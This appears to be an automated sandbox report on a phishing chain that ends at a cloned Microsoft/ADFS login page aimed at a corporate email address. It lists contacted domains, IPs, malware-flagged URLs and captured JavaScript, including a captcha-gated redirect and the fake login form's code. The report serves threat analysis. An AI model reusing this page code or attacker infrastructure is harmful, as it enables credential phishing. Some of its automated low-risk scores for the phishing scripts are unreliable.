Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://mailtrack.io/l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/favicon.ico	0%	Avira URL Cloud	safe
https://lucky-mud-238c.vencillrina33.workers.dev/joe.doe@jpmchase.net	0%	Avira URL Cloud	safe
https://net-sign.netlify.app/favicon.ico	0%	Avira URL Cloud	safe
https://net-sign.netlify.app/assets/index-CaUaz09t.js	0%	Avira URL Cloud	safe
https://628jpkkq.nhubiubuniunuion.workers.dev/adfs/portal/script/mfaotpsms.js	100%	Avira URL Cloud	malware
https://628jpkkq.nhubiubuniunuion.workers.dev/adfs/fs/federationserverservice.asmx	100%	Avira URL Cloud	malware
https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe	100%	Avira URL Cloud	malware
https://net-sign.netlify.app/assets/index-zqIqfzzx.css	0%	Avira URL Cloud	safe
https://appends.netlify.app	0%	Avira URL Cloud	safe
https://alot-eight.vercel.app/api/redirect	0%	Avira URL Cloud	safe
https://appends.netlify.app/assets/index-CcA_fNee.css	0%	Avira URL Cloud	safe
https://628jpkkq.nhubiubuniunuion.workers.dev/adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE	100%	Avira URL Cloud	malware
https://appends.netlify.app/assets/index-BTn4qouO.js	0%	Avira URL Cloud	safe
https://b8d1a7c1.nhubiubuniunuion.workers.dev/favicon.ico	100%	Avira URL Cloud	malware
https://uk.content.exclaimer.net/?url=https%3A%2F%2Fnet-sign.netlify.app%2F&tenantid=c5qVnt2gEe-Qy2BFvdCCyg&templateid=529e0b1da8ddef1190cb6045bdd082ca&excomponentid=u83pNPiq0zqlY_7b5baT_bNDnmkUtfd_FgVa3JFXsmo&excomponenttype=Link&signature=HvZKpAk8HcOeW_EiUL9zJsfJm4uKSwk_wSs7VCbqgPkLHtw82EdjroFzquUH1u0KfiS9Q7TbLjifGK0LkQSBtzJeDabfB2gji-dpPNPx0f27kD4mqNTkP3pZd6ygOXYa2NwpiobZLuMR3DkdEe8LUW413c0vgFcDH6WPDb-llZcOFZ8berqD223_7kh5VN3Y2jckg3u8kWdZtX5i286yfEnJMuvkQ8l83FyU2uDZkWvdrb3MrfeEZsfYQbyRdSCAUmmUIyRuKv3_XShM5HpSLRNxO0Nv3xLAjZqy_BK6eBqmRrCiXFMeC_NOOFcRofoAOIFz1QdgIT9fNCDYiyLOqw&v=1&imprintMessageId=1610adac-5958-4b66-8fbf-bd5d251bfbef	0%	Avira URL Cloud	safe
https://appends.netlify.app/?email=joe.doe%40jpmchase.net	0%	Avira URL Cloud	safe
https://628jpkkq.nhubiubuniunuion.workers.dev/favicon.ico	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.65.229	true	false	high
ez9jkw1oy6.execute-api.eu-central-1.amazonaws.com	18.158.51.197	true	false	unknown
cdn.jsdelivr.net.cdn.cloudflare.net	104.18.186.31	true	false	high
uk.content.exclaimer.net	104.18.35.178	true	false	unknown
a1894.dscb.akamai.net	2.19.126.199	true	false	high
cstaticdun.126.net.w.kunluncan.com	163.181.131.212	true	false	high
dualstack.n.sni.global.fastly.net	151.101.193.91	true	false	high
www.google.com	172.217.16.132	true	false	high
example.com	23.192.228.80	true	false	high
mailtrack.io	52.51.118.159	true	false	high
alot-eight.vercel.app	216.198.79.193	true	false	unknown
appends.netlify.app	3.124.100.143	true	false	high
628jpkkq.nhubiubuniunuion.workers.dev	188.114.97.3	true	true	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
embeds.beehiiv.com	104.18.68.40	true	false	high
stk.px-cloud.net	34.107.199.61	true	false	high
collector-pxebumdlwe.px-cloud.net	35.190.10.96	true	false	high
s3-r-w.eu-central-1.amazonaws.com	52.219.47.104	true	false	high
net-sign.netlify.app	3.124.100.143	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
lucky-mud-238c.vencillrina33.workers.dev	104.21.13.63	true	false	unknown
e257945.dscd.akamaiedge.net	2.23.209.38	true	false	unknown
picsum.photos	104.26.4.30	true	false	high
perimeterx2.map.fastly.net	151.101.129.40	true	false	high
b8d1a7c1.nhubiubuniunuion.workers.dev	188.114.97.3	true	true	unknown
cdn.jsdelivr.net	unknown	unknown	false	high
temp-redirect-pagess.s3.eu-central-1.amazonaws.com	unknown	unknown	false	unknown
client.px-cloud.net	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
fastly.picsum.photos	unknown	unknown	false	high
cstaticdun.126.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://embeds.beehiiv.com/cdn-cgi/challenge-platform/scripts/jsd/main.js	false		high
https://alot-eight.vercel.app/api/redirect	false	Avira URL Cloud: safe	unknown
https://cstaticdun.126.net//2.6.3/images/icon_light.f13cff3.png	false		high
https://picsum.photos/300/150/?image=1037	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/7bs2h/0x4AAAAAAAcGNtktljfyIfzu/auto/fbE/new/normal/auto/	false		high
https://fastly.picsum.photos/id/1037/300/150.jpg?hmac=vWoq0rMWMMztc0DtuvnRBEN7tEeE6OzGelVai8xdjrw	false		high
https://stk.px-cloud.net/ns?c=b3ad1840-e4d4-11ef-a9cd-d91b8f7e323e	false		high
https://collector-pxebumdlwe.px-cloud.net/api/v2/collector/beacon	false		high
https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://net-sign.netlify.app/assets/index-zqIqfzzx.css	false	Avira URL Cloud: safe	unknown
https://net-sign.netlify.app/	false		unknown
https://b8d1a7c1.nhubiubuniunuion.workers.dev/joe.doe@jpmchase.net	false		unknown
https://cdn.jsdelivr.net/gh/vencillrina33/cssjs@refs/heads/main/look.js	false		high
https://embeds.beehiiv.com/cdn-cgi/challenge-platform/h/g/scripts/jsd/8a57887573f2/main.js?	false		high
https://lucky-mud-238c.vencillrina33.workers.dev/joe.doe@jpmchase.net	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/gh/vencillrina33/cssjs@refs/heads/main/css.css	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=90de5efa9f9b4270&lang=auto	false		high
https://net-sign.netlify.app/assets/index-CaUaz09t.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/d/90de5efa9f9b4270/1738878787360/DWLh0Lf64_o4Zla	false		high
https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646	false		high
https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net	false		unknown
https://challenges.cloudflare.com/turnstile/v0/g/8a57887573f2/api.js	false		high
https://628jpkkq.nhubiubuniunuion.workers.dev/adfs/portal/script/mfaotpsms.js	false	Avira URL Cloud: malware	unknown
https://mailtrack.io/l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af	false		high
https://net-sign.netlify.app/favicon.ico	false	Avira URL Cloud: safe	unknown
https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true	true		unknown
https://embeds.beehiiv.com/api/submit	false		high
https://628jpkkq.nhubiubuniunuion.workers.dev/adfs/fs/federationserverservice.asmx	false	Avira URL Cloud: malware	unknown
https://embeds.beehiiv.com/api/embeds/bee58212-55f9-4f7c-994e-380751e3d646	false		high
https://embeds.beehiiv.com/img/favicon.png	false		high
https://appends.netlify.app/assets/index-CcA_fNee.css	false	Avira URL Cloud: safe	unknown
https://embeds.beehiiv.com/variables.js	false		high
https://embeds.beehiiv.com/static/js/main.72acac30.chunk.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://628jpkkq.nhubiubuniunuion.workers.dev/adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE	false	Avira URL Cloud: malware	unknown
https://embeds.beehiiv.com/img/beehiiv-logo.png	false		high
https://uk.content.exclaimer.net/?url=https%3A%2F%2Fnet-sign.netlify.app%2F&tenantid=c5qVnt2gEe-Qy2BFvdCCyg&templateid=529e0b1da8ddef1190cb6045bdd082ca&excomponentid=u83pNPiq0zqlY_7b5baT_bNDnmkUtfd_FgVa3JFXsmo&excomponenttype=Link&signature=HvZKpAk8HcOeW_EiUL9zJsfJm4uKSwk_wSs7VCbqgPkLHtw82EdjroFzquUH1u0KfiS9Q7TbLjifGK0LkQSBtzJeDabfB2gji-dpPNPx0f27kD4mqNTkP3pZd6ygOXYa2NwpiobZLuMR3DkdEe8LUW413c0vgFcDH6WPDb-llZcOFZ8berqD223_7kh5VN3Y2jckg3u8kWdZtX5i286yfEnJMuvkQ8l83FyU2uDZkWvdrb3MrfeEZsfYQbyRdSCAUmmUIyRuKv3_XShM5HpSLRNxO0Nv3xLAjZqy_BK6eBqmRrCiXFMeC_NOOFcRofoAOIFz1QdgIT9fNCDYiyLOqw&v=1&imprintMessageId=1610adac-5958-4b66-8fbf-bd5d251bfbef	false	Avira URL Cloud: safe	unknown
https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+bno	false		high
https://628jpkkq.nhubiubuniunuion.workers.dev/favicon.ico	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://b8d1a7c1.nhubiubuniunuion.workers.dev/favicon.ico	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/90de5efa9f9b4270/1738878787358/20f20b68af7c20ef13f4e7128e5a75f37813ac60ee46a069a546b0332c4acc09/UvcoVNn6Yv9WD-g	false		high
https://embeds.beehiiv.com/cdn-cgi/challenge-platform/h/g/jsd/r/0.33639695702246186:1738876318:7xN6wdapsrpfvjfTjh9BqxRu1rfRSqETShmHg6T088I/90de5e7f7a38440d	false		high
https://appends.netlify.app/?email=joe.doe%40jpmchase.net	false	Avira URL Cloud: safe	unknown
https://appends.netlify.app/assets/index-BTn4qouO.js	false	Avira URL Cloud: safe	unknown
https://embeds.beehiiv.com/static/js/2.1c7b426a.chunk.js	false		high
https://client.px-cloud.net/PXeBumDLwe/main.min.js	false		high
https://example.com/	false		high
https://collector-pxebumdlwe.px-cloud.net/api/v2/collector	false		high
https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://cstaticdun.126.net//2.6.3/images/icon_light.f13cff3.png)	chromecache_100.1.dr	false		high
https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe	chromecache_119.1.dr	false	Avira URL Cloud: malware	unknown
https://appends.netlify.app	chromecache_124.1.dr, chromecache_95.1.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com	chromecache_112.1.dr, chromecache_108.1.dr	false		high
https://picsum.photos/300/150/?image=	chromecache_110.1.dr, chromecache_140.1.dr	false		high
https://cct.google/taggy/agent.js	chromecache_112.1.dr, chromecache_108.1.dr	false		high
https://cdn.jsdelivr.net/gh/vencillrina33/cssjs	chromecache_129.1.dr	false		high
https://td.doubleclick.net	chromecache_112.1.dr, chromecache_108.1.dr	false		high
https://www.iana.org/domains/example	chromecache_116.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
35.190.10.96	collector-pxebumdlwe.px-cloud.net	United States	15169	GOOGLEUS	false
2.18.64.220	unknown	European Union	6057	AdministracionNacionaldeTelecomunicacionesUY	false
23.192.228.84	unknown	United States	16625	AKAMAI-ASUS	false
151.101.1.91	unknown	United States	54113	FASTLYUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
3.124.100.143	appends.netlify.app	United States	16509	AMAZON-02US	false
2.23.209.38	e257945.dscd.akamaiedge.net	European Union	1273	CWVodafoneGroupPLCEU	false
163.181.92.230	unknown	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
52.51.118.159	mailtrack.io	United States	16509	AMAZON-02US	false
104.18.68.40	embeds.beehiiv.com	United States	13335	CLOUDFLARENETUS	false
34.107.199.61	stk.px-cloud.net	United States	15169	GOOGLEUS	false
104.21.13.63	lucky-mud-238c.vencillrina33.workers.dev	United States	13335	CLOUDFLARENETUS	false
216.198.79.193	alot-eight.vercel.app	United States	11696	NBS11696US	false
104.18.186.31	cdn.jsdelivr.net.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
163.181.131.212	cstaticdun.126.net.w.kunluncan.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
18.158.51.197	ez9jkw1oy6.execute-api.eu-central-1.amazonaws.com	United States	16509	AMAZON-02US	false
151.101.65.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.26.4.30	picsum.photos	United States	13335	CLOUDFLARENETUS	false
151.101.129.40	perimeterx2.map.fastly.net	United States	54113	FASTLYUS	false
2.19.126.199	a1894.dscb.akamai.net	European Union	16625	AKAMAI-ASUS	false
3.75.10.80	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	628jpkkq.nhubiubuniunuion.workers.dev	European Union	13335	CLOUDFLARENETUS	true
151.101.193.91	dualstack.n.sni.global.fastly.net	United States	54113	FASTLYUS	false
52.219.47.104	s3-r-w.eu-central-1.amazonaws.com	United States	16509	AMAZON-02US	false
23.192.228.80	example.com	United States	16625	AKAMAI-ASUS	false
172.217.16.132	www.google.com	United States	15169	GOOGLEUS	false
104.18.35.178	uk.content.exclaimer.net	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1608762
Start date and time:	2025-02-06 22:51:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://mailtrack.io/l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@27/94@70/30
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.35, 66.102.1.84, 216.58.212.174, 142.250.186.78, 142.250.186.174, 172.217.18.14, 142.250.186.170, 142.250.186.99, 172.217.23.104, 142.250.184.206, 142.250.185.170, 142.250.186.42, 142.250.186.138, 172.217.18.10, 172.217.16.202, 216.58.206.74, 142.250.186.74, 142.250.185.202, 142.250.186.106, 172.217.18.106, 142.250.74.202, 142.250.184.234, 142.250.181.234, 142.250.185.234, 142.250.184.202, 216.58.206.40, 142.250.181.238, 172.217.23.110, 142.250.185.106, 142.250.185.138, 142.250.185.74, 216.58.206.42, 216.58.212.138, 142.250.186.142, 142.250.185.110, 2.19.106.160, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, aadcdnoriginwus2.azureedge.net, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, www.googletagmanager.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://mailtrack.io/l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af

Input	Output
URL: https://mailtrack.io Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 0, "spoofed": 0, "reasoning": "The URL 'https://mailtrack.io' does not appear to be a typosquatting attempt. There are no obvious visual character substitutions or structural changes that suggest it is mimicking a well-known brand. The domain 'mailtrack.io' does not closely resemble any globally recognized brand's URL. The use of the '.io' domain extension is common for tech-related services and startups, and does not inherently suggest a deceptive purpose. Without a clear connection to a known brand, the likelihood of this being a typosquatting attempt is very low."}
URL: https://mailtrack.io
URL: https://beehiiv.com Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 0, "spoofed": 0, "reasoning": "The URL 'https://beehiiv.com' does not appear to be a typosquatting attempt. There are no obvious visual character substitutions or structural changes that suggest it is mimicking a well-known brand. The domain name 'beehiiv' does not closely resemble any globally recognized brand, and there is no indication of deceptive subdomain usage or misleading domain extensions. Without a clear connection to a known brand, it is unlikely that this URL is intended to confuse users or spoof a legitimate site."}
URL: https://beehiiv.com
URL: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com Model: Joe Sandbox AI	```json{ "brand": "Amazon", "brand_classification": "wellknown", "legit_url": "https://s3.eu-central-1.amazonaws.com", "similarity": 5, "spoofed": 2, "reasoning": "The URL uses the 's3.eu-central-1.amazonaws.com' domain, which is a legitimate Amazon Web Services (AWS) endpoint for hosting content. The subdomain 'temp-redirect-pagess' does not closely resemble any known Amazon brand or service, and it appears to be a custom subdomain likely used for a specific purpose, such as temporary redirects or hosting pages. The similarity score is moderate due to the use of the AWS domain, but the likelihood of typosquatting is low because the subdomain does not mimic any known Amazon service or product. The context suggests a legitimate use of AWS services rather than an attempt to deceive users."}
URL: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com
URL: https://b8d1a7c1.nhubiubuniunuion.workers.dev/joe.... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious redirection. The use of an obfuscated URL and the collection of user credentials through a third-party service (Turnstile) are highly indicative of malicious intent. Overall, this script poses a significant security risk and should be treated as a potential phishing or credential theft attempt." }
var redirectTo = "https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net"+window.location.hash.substring(1); var verifyCallback_CF = function(response) { var cfForm = document.querySelector("#cfForm"); if (response && response.length > 10) { window.location.href = redirectTo; return; } }; window.onloadTurnstileCallback = function() { turnstile.render("#turnstileCaptcha", { sitekey: "0x4AAAAAAAcGNtktljfyIfzu", callback: verifyCallback_CF, }); };
URL: https://628jpkkq.nhubiubuniunuion.workers.dev/?use... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a simple function that handles the selection of an option and submits a form. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or obfuscation. The function simply updates the value of an input field and submits the form, which is a common and legitimate user interaction pattern. There are no indications of malicious intent or suspicious activities, so the overall risk score is low." }
function SelectOption(option) { var w = document.getElementById('waitingWheelDiv'); if(w) w.style.display = 'inline'; var i = document.getElementById('optionSelection'); i.value = option; document.forms['options'].submit(); return false; }
URL: https://628jpkkq.nhubiubuniunuion.workers.dev/?use... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a legitimate login functionality with standard input validation and form submission. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or obfuscation. The script is focused on handling user input and form submission, which is a common and expected behavior for a login page. There are no indications of malicious intent or suspicious activities, so the overall risk score is low." }
//<![CDATA[ function Login() { } Login.userNameInput = 'userNameInput'; Login.passwordInput = 'passwordInput'; Login.initialize = function () { var u = new InputUtil(); u.checkError(); u.setInitialFocus(Login.userNameInput); u.setInitialFocus(Login.passwordInput); }(); Login.submitLoginRequest = function () { var u = new InputUtil(); var e = new LoginErrors(); var userName = document.getElementById(Login.userNameInput); var password = document.getElementById(Login.passwordInput); if (!userName.value \|\| !userName.value.match('[@\\\\]')) { u.setError(userName, e.userNameFormatError); return false; } if (!password.value) { u.setError(password, e.passwordEmpty); return false; } if (password.value.length > maxPasswordLength) { u.setError(password, e.passwordTooLong); return false; } document.forms['loginForm'].submit(); return false; }; InputUtil.makePlaceholder(Login.userNameInput); InputUtil.makePlaceholder(Login.passwordInput); //
URL: https://628jpkkq.nhubiubuniunuion.workers.dev/?use... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet contains several behaviors that raise moderate security concerns. It includes external data transmission to third-party domains, the use of fallback domains, and aggressive DOM manipulation. While some of these behaviors may be legitimate, the overall complexity and lack of transparency in the code warrant further review. The script also interacts with domains of unknown reputation, which increases the risk. Overall, this script requires closer inspection to determine its true intent and potential impact." }
//<![CDATA[ $Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msauth.net/shared/1.0/","urlDefaultFavicon":"https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/login.srf?username=joe.doe%40jpmchase.net\u0026client-request-id=29ec72fc-e8e8-4247-8f70-0656fc97d1ba\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","fEnableOneDSClientTelemetry":true,"urlReportPageLoad":"https://628jpkkq.nhubiubuniunuion.workers.dev/common/instrumentation/reportpageload?mkt=en-US","dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://628jpkkq.nhubiubuniunuion.workers.dev/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=29ec72fc-e8e8-4247-8f70-0656fc97d1ba","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=29ec72fc-e8e8-4247-8f70-0656fc97d1ba","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=29ec72fc-e8e8-4247-8f70-0656fc97d1ba\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=29ec72fc-e8e8-4247-8f70-0656fc97d1ba\u0026origin=628jpkkq.nhubiubuniunuion.workers.dev\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fIsCiamUserFlowUxNewLogicEnabled":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fUseHighContrastDetectionMode":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"fEnableRefreshCookiesFix":true,"urlAcmaServerPath":"https://628jpkkq.nhubiubuniunuion.workers.dev","sTenantId":"common","scid":2001,"hpgact":2101,"hpgid":6,"apiCanary":"PAQABDgEAAABVrSpeuWamRam2jAF1XRQEkI5_bL3vQv77v3vDRb3qhhWFALLdh5pMhm9TciQy8-AS_EkzLmKbAevxuxC6Gt8NhgBhAnBhDM8eoKTwphAAB5jwAu5ASWpa0RWYIZ--fKMOIbAkzI7fCtoiSkrwH7YwZNoYY0scIKXZkg70YELpe42dZ9OB7x8EwGCP_vwuema31FfLlJ8tsh4X3S9d7TOaSt-o12XjqxvjElNsxEq0niAA","canary":"Xi5EYk/SCPp3osHboTQ21C2VvAcAc4F64JWJ76mjydY=4:1:CANARY:o6Q5DtXAaPuA8DeH6RzpfkREUqN9OlgCXqVGv+czqx8=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"29ec72fc-e8e8-4247-8f70-0656fc97d1ba","sessionId":"4250c421-9948-4911-93af-11f705db7900","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you 